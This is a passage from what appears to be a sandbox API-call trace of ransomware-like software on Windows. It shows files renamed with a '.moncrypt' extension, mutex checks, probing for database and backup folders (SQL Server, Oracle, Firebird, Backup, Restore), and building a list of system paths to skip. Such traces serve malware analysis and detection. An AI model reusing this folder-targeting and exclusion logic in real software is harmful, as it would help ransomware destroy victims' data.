[0051.130] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.130] GlobalUnlock (hMem=0x44000c) returned 0 [0051.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.130] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5058, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.130] GetLastError () returned 0x12 [0051.130] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.131] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0051.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.131] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.131] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.131] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.131] GlobalUnlock (hMem=0x44000c) returned 0 [0051.131] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.131] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.131] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.131] GlobalUnlock (hMem=0x44000c) returned 0 [0051.131] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.131] GlobalUnlock (hMem=0x440004) returned 0 [0051.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.131] GlobalLock (hMem=0x440004) returned 0x550170 [0051.131] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.131] GlobalUnlock (hMem=0x440004) returned 0 [0051.131] GlobalLock (hMem=0x440004) returned 0x550170 [0051.131] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.131] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.131] GlobalUnlock (hMem=0x440004) returned 0 [0051.131] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.131] GlobalUnlock (hMem=0x44000c) returned 0 [0051.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.131] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS") returned 1 [0051.132] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.132] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.132] GlobalUnlock (hMem=0x44000c) returned 0 [0051.132] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.132] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.132] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.132] GlobalUnlock (hMem=0x44000c) returned 0 [0051.132] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.132] GlobalUnlock (hMem=0x440004) returned 0 [0051.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟐRꞤR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.134] GetLastError () returned 0x3 [0051.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.134] GetLastError () returned 0x2 [0051.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0051.135] GetLastError () returned 0x2 [0051.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0051.135] GetLastError () returned 0x2 [0051.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18삌R\x18j")) returned 0xffffffff [0051.136] GetLastError () returned 0x2 [0051.136] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0051.136] GetLastError () returned 0x2 [0051.136] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0051.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0051.137] GetLastError () returned 0x2 [0051.137] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.137] GetLastError () returned 0x2 [0051.137] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0051.138] GetLastError () returned 0x2 [0051.138] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.138] GetLastError () returned 0x2 [0051.138] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a078, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.139] GetLastError () returned 0x2 [0051.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.139] GlobalLock (hMem=0x440004) returned 0x550170 [0051.139] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.139] GlobalUnlock (hMem=0x440004) returned 0 [0051.139] GlobalLock (hMem=0x440004) returned 0x550170 [0051.139] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.139] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.139] GlobalUnlock (hMem=0x440004) returned 0 [0051.139] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.139] GlobalUnlock (hMem=0x44000c) returned 0 [0051.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.139] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.140] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.140] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.140] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a098, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.140] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.140] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.140] GlobalUnlock (hMem=0x44000c) returned 0 [0051.140] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.140] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.140] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.140] GlobalUnlock (hMem=0x44000c) returned 0 [0051.140] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.140] GlobalUnlock (hMem=0x440004) returned 0 [0051.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") returned 0x40 [0051.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.142] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\compass\\") 